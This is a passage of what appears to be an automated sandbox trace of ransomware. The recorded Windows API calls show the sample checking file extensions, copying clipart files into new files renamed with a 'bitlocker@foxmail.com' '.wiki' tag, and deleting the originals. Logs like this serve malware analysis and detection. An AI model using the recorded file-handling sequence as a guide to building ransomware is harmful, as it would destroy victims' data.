(lpString1=".bz2", lpString2=".WMF") returned -1 [0197.312] lstrlenW (lpString=".7z") returned 3 [0197.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0197.312] lstrlenW (lpString=".dbf") returned 4 [0197.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0197.312] lstrlenW (lpString=".1cd") returned 4 [0197.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0197.312] lstrlenW (lpString=".jpg") returned 4 [0197.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.312] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.312] lstrlenW (lpString="J0152708.WMF") returned 12 [0197.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0197.313] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=4908) returned 1 [0197.313] CloseHandle (hObject=0x1cc) returned 1 [0197.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf")) returned 0x20 [0197.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0197.313] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.313] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0197.314] GetLastError () returned 0x0 [0197.314] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x132c, lpOverlapped=0x0) returned 1 [0197.316] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1330, lpOverlapped=0x0) returned 1 [0198.195] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.195] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.195] SetEndOfFile (hFile=0x1f0) returned 1 [0198.423] CloseHandle (hObject=0x1f0) returned 1 [0198.479] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.480] SetEndOfFile (hFile=0x1cc) returned 1 [0198.480] CloseHandle (hObject=0x1cc) returned 1 [0198.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf")) returned 1 [0198.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0198.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0198.650] lstrlenW (lpString=".doc") returned 4 [0198.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.658] lstrlenW (lpString=".docx") returned 5 [0198.658] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0198.658] lstrlenW (lpString=".pdf") returned 4 [0198.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.658] lstrlenW (lpString=".xls") returned 4 [0198.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.658] lstrlenW (lpString=".xlsx") returned 5 [0198.667] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0198.668] lstrlenW (lpString=".ppt") returned 4 [0198.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0198.668] lstrlenW (lpString=".zip") returned 4 [0198.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.668] lstrlenW (lpString=".rar") returned 4 [0198.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.668] lstrlenW (lpString=".bz2") returned 4 [0198.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.668] lstrlenW (lpString=".7z") returned 3 [0198.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0198.668] lstrlenW (lpString=".dbf") returned 4 [0198.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0198.668] lstrlenW (lpString=".1cd") returned 4 [0198.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0198.668] lstrlenW (lpString=".jpg") returned 4 [0198.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0198.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0198.668] lstrlenW (lpString=".doc") returned 4 [0198.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.668] lstrlenW (lpString=".docx") returned 5 [0198.668] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0198.668] lstrlenW (lpString=".pdf") returned 4 [0198.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.668] lstrlenW (lpString=".xls") returned 4 [0198.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.668] lstrlenW (lpString=".xlsx") returned 5 [0198.668] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0198.669] lstrlenW (lpString=".ppt") returned 4 [0198.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0198.669] lstrlenW (lpString=".zip") returned 4 [0198.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.669] lstrlenW (lpString=".rar") returned 4 [0198.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.669] lstrlenW (lpString=".bz2") returned 4 [0198.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.669] lstrlenW (lpString=".7z") returned 3 [0198.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0198.669] lstrlenW (lpString=".dbf") returned 4 [0198.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0198.669] lstrlenW (lpString=".1cd") returned 4 [0198.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned 63 [0198.669] lstrlenW (lpString=".jpg") returned 4 [0198.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.669] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.669] lstrlenW (lpString="J0153302.WMF") returned 12 [0198.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0198.759] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=30800) returned 1 [0198.759] CloseHandle (hObject=0x1e0) returned 1 [0198.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf")) returned 0x20 [0198.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0198.760] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.760] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0198.760] GetLastError () returned 0x0 [0198.760] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x7850, lpOverlapped=0x0) returned 1 [0198.775] WriteFile (in: hFile=0x220, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x7860, lpOverlapped=0x0) returned 1 [0198.776] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.776] WriteFile (in: hFile=0x220, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.776] SetEndOfFile (hFile=0x220) returned 1 [0198.777] CloseHandle (hObject=0x220) returned 1 [0198.777] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.777] SetEndOfFile (hFile=0x1e0) returned 1 [0198.778] CloseHandle (hObject=0x1e0) returned 1 [0198.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf")) returned 1 [0198.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0198.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0198.778] lstrlenW (lpString=".doc") returned 4 [0198.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.778] lstrlenW (lpString=".docx") returned 5 [0198.778] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0198.778] lstrlenW (lpString=".pdf") returned 4 [0198.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.778] lstrlenW (lpString=".xls") returned 4 [0198.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.778] lstrlenW (lpString=".xlsx") returned 5 [0198.778] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0198.778] lstrlenW (lpString=".ppt") returned 4 [0198.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0198.778] lstrlenW (lpString=".zip") returned 4 [0198.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.778] lstrlenW (lpString=".rar") returned 4 [0198.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.779] lstrlenW (lpString=".bz2") returned 4 [0198.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.779] lstrlenW (lpString=".7z") returned 3 [0198.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0198.779] lstrlenW (lpString=".dbf") returned 4 [0198.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0198.779] lstrlenW (lpString=".1cd") returned 4 [0198.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0198.779] lstrlenW (lpString=".jpg") returned 4 [0198.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0198.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0198.779] lstrlenW (lpString=".doc") returned 4 [0198.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.779] lstrlenW (lpString=".docx") returned 5 [0198.779] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0198.779] lstrlenW (lpString=".pdf") returned 4 [0198.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.779] lstrlenW (lpString=".xls") returned 4 [0198.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.779] lstrlenW (lpString=".xlsx") returned 5 [0198.779] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0198.779] lstrlenW (lpString=".ppt") returned 4 [0198.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0198.779] lstrlenW (lpString=".zip") returned 4 [0198.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.780] lstrlenW (lpString=".rar") returned 4 [0198.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.780] lstrlenW (lpString=".bz2") returned 4 [0198.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.780] lstrlenW (lpString=".7z") returned 3 [0198.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0198.780] lstrlenW (lpString=".dbf") returned 4 [0198.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0198.780] lstrlenW (lpString=".1cd") returned 4 [0198.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0198.780] lstrlenW (lpString=".jpg") returned 4 [0198.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.780] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.780] lstrlenW (lpString="J0153307.WMF") returned 12 [0198.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0198.781] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=15448) returned 1 [0198.781] CloseHandle (hObject=0x1e0) returned 1 [0198.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf")) returned 0x20 [0198.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0198.781] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.781] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0198.782] GetLastError () returned 0x0 [0198.782] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x3c58, lpOverlapped=0x0) returned 1 [0198.792] WriteFile (in: hFile=0x220, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x3c60, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x3c60, lpOverlapped=0x0) returned 1 [0198.793] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.793] WriteFile (in: hFile=0x220, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.793] SetEndOfFile (hFile=0x220) returned 1 [0198.793] CloseHandle (hObject=0x220) returned 1 [0198.793] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.793] SetEndOfFile (hFile=0x1e0) returned 1 [0198.794] CloseHandle (hObject=0x1e0) returned 1 [0198.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf")) returned 1 [0198.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0198.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0198.795] lstrlenW (lpString=".doc") returned 4 [0198.795] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.795] lstrlenW (lpString=".docx") returned 5 [0198.795] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0198.795] lstrlenW (lpString=".pdf") returned 4 [0198.795] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.795] lstrlenW (lpString=".xls") returned 4 [0198.795] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.795] lstrlenW (lpString=".xlsx") returned 5 [0198.795] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0198.795] lstrlenW (lpString=".ppt") returned 4 [0198.795] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0198.795] lstrlenW (lpString=".zip") returned 4 [0198.795] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.795] lstrlenW (lpString=".rar") returned 4 [0198.795] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.795] lstrlenW (lpString=".bz2") returned 4 [0198.795] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.795] lstrlenW (lpString=".7z") returned 3 [0198.795] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0198.795] lstrlenW (lpString=".dbf") returned 4 [0198.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0198.796] lstrlenW (lpString=".1cd") returned 4 [0198.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0198.796] lstrlenW (lpString=".jpg") returned 4 [0198.796] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0198.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0198.796] lstrlenW (lpString=".doc") returned 4 [0198.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.796] lstrlenW (lpString=".docx") returned 5 [0198.796] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0198.796] lstrlenW (lpString=".pdf") returned 4 [0198.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.796] lstrlenW (lpString=".xls") returned 4 [0198.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.796] lstrlenW (lpString=".xlsx") returned 5 [0198.796] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0198.796] lstrlenW (lpString=".ppt") returned 4 [0198.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0198.796] lstrlenW (lpString=".zip") returned 4 [0198.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.796] lstrlenW (lpString=".rar") returned 4 [0198.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.796] lstrlenW (lpString=".bz2") returned 4 [0198.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.796] lstrlenW (lpString=".7z") returned 3 [0198.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0198.797] lstrlenW (lpString=".dbf") returned 4 [0198.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0198.797] lstrlenW (lpString=".1cd") returned 4 [0198.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.797] lstrlenW (lpString="C:\\Program Files\\Microsoft 